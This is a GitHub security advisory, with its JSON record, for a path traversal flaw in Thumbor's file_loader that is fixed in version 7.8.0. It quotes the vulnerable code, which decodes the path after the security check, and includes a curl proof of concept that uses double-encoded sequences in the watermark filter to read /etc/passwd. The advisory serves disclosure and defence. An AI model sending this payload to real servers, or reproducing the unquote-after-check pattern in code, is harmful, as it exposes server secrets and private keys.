GHSA-CJ54-HPCC-GJ6H

Vulnerability from github – Published: 2026-07-31 19:03 – Updated: 2026-07-31 19:03
VLAI
Summary
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
Details

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow: 1. %252e%252e arrives at Tornado, decoded to %2e%2e 2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader 3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/... 4. abspath() sees %2e%2e as literal dir name (no dots to resolve) 5. startswith(ROOT) = True (passes check) 6. exists() returns False (literal %2e%2e dir doesn't exist) 7. unquote() converts %2e%2e to .. 8. OS resolves .. → reads files outside ROOT

Prerequisites

  • LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
  • ALLOW_UNSAFE_URL = True (this is the default)
  • watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.7.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "thumbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:03:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n    file_path = join(\n        context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n    )\n    file_path = abspath(file_path)\n    inside_root_path = file_path.startswith(         # Security check\n        abspath(context.config.FILE_LOADER_ROOT_PATH)\n    )\n    result = LoaderResult()\n    if not inside_root_path:\n        result.error = LoaderResult.ERROR_NOT_FOUND\n        result.successful = False\n        return result\n\n    if not exists(file_path):\n        file_path = unquote(file_path)               # unquote AFTER check!\n\n    if exists(file_path) and isfile(file_path):\n        with open(file_path, \"rb\") as source_file:\n            ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl \u0027http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg\u0027\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, \u0027%2e%2e/...\u0027)` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn\u0027t exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` \u2192 reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.",
  "id": "GHSA-cj54-hpcc-gj6h",
  "modified": "2026-07-31T19:03:54Z",
  "published": "2026-07-31T19:03:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thumbor/thumbor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/releases/tag/7.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Thumbor has path traversal via post-validation URL decoding bypass in file_loader"
}



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